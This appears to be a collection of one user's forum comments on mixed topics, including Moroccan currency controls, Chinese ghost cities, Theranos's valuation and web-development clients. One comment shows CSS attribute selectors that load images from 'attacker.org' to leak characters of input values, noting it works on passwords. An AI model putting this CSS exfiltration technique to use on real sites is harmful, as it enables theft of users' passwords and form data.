Most of the west support the corrupted politicians over the straight ones on Africa, just because a corrupted one is willing to give you advantages on his land over a straight one. So change isn't easy on Africa.

Hmmm, why not take ideas from HTML/CSS and that's all for a next version...

Actually not really, on the documentary everyone complained... even a guy working with the government and specially on real estate.

It's more like TV channels and newspaper trying to give you news that blew your mind, 2010s marketing = WTF effect.

The thing is that not like those cities are cheap to get an apartment in... China is more like still having a resident problem than a first world problem of ghost cities.

$569.2M of earnings on Q3, and you want it to be worth $3-4B?

Why everyone ignoring the financial facts?

I don't like or use Twitter/Vine/Medium. But those guys generate load of money even that it look like they don't...

I saw a documentary once about two ghost cities, the documentary was 6 years old and those cites were almost with 0 resident, I saw on comment Chinese people saying that those cities are full now. It's just China being two steps forward.

You can't pass a limit.

One of the ways that there's also is money exchange, like someone who want to send money to Morocco and he is outside of Morocco.

Or you can just walk into a Spanish/Moroccan city (there's 2 on, on Africa... governed by Spain but both countries claim its their own) and deposit the money to a bank or something.

It's not like they are making it impossible for you, it's just impossible to do with on the way you are comfort with...

I don't know why everyone keep implying that Theranos is on a bad position. The company really worth its valuation... they aren't doing something exceptional on the tech world but they are just fine financially. It's a known company on a with a big market and you won't ever struggle with a business model (traditional one) on that type of tech companies.

You don't need it, you can do it legally on any bank or exchange office. Since getting money out is the illegal thing and not using another currency inside Morocco.

If you're a politician or with a bit of power you can get money out of Morocco easily. Even when politicians caught doing that (no foreign nationality but owning stuff outside of Morocco) newspaper write about them and they respond with stuff like I really needed that since I have to send my son to study there... TL;DR: law don't apply on them...

Japanese people's culture is "If it's working like that, keep it like that".

I once had to make a Japanese website for a cars wholesale company that ship cars for different countries on the world and they used to do a lot of work manually on their old website wanted to update it because they lost contact with the old developer (used to HTML the website).

He was like no-no for everything that will cost money (themes, plugins...), I didn't felt comfortable dealing with him since he said no for a $50 translation plugin and he wanted translation on his website (he will get transitioned text himself somehow, don't like this step step things...) and I'm sure I will charge him more than $50 to write a translation plugin (since I won't put it on an online store).

The same on Morocco and politicians say so people who got money by corruption will not get them out, since here it's legally to not justify where you got your money from. So no need for money laundry.

The real reasons is just because it's not healthy for a developed economy who can't compete with the world to not monitor the ins and outs... Also we don't have a real currency but our is called Dirham and it's basically 40% USD and 60% EURO, They adjust it by time to time and change those values depends on how EU or US doing so if one of those currency crushed hard ours don't (It was 20% USD, and 80% EURO so relax my US fellas you're doing fine :P). And if you got caught trying to speak even like DH10 ($1) out of Morocco it's a serious crime (while you can take it in another currency, that's why you find Dirham only on Morocco).

Years ago I got my first credit card that world internationally (I tried 4 banks, it was just released, and they had too much technical issue AKA it's not working at all only one of them worked for me...) and it's capped at $1000 a year... you my think is nothing but it's like a dream for me... being able to get a couple of domains and servers is the dream.

I asked, not decided. And everyone on the world have a tiny of a right to decide.

It's fine for some to own nothing in order to have bigger economy on the whole world? Who are we competing with Mars? What a billionaire need more than billion for anything?

You comment just funny since it's the perfect billionaire's first world problem.

Another interesting way of getting attribute values is using...

  [value*=a] {
    background-image: url('attacker.org/lolz.png?a');
  }

  [value*=b] {
    background-image: url('attacker.org/lolz.png?b');
  }


It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...

Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.

It wasn't a wrong form, it was right back then, If he signed as a shareholder it may spread a bad message too. It's only a better clickbait title of an article.
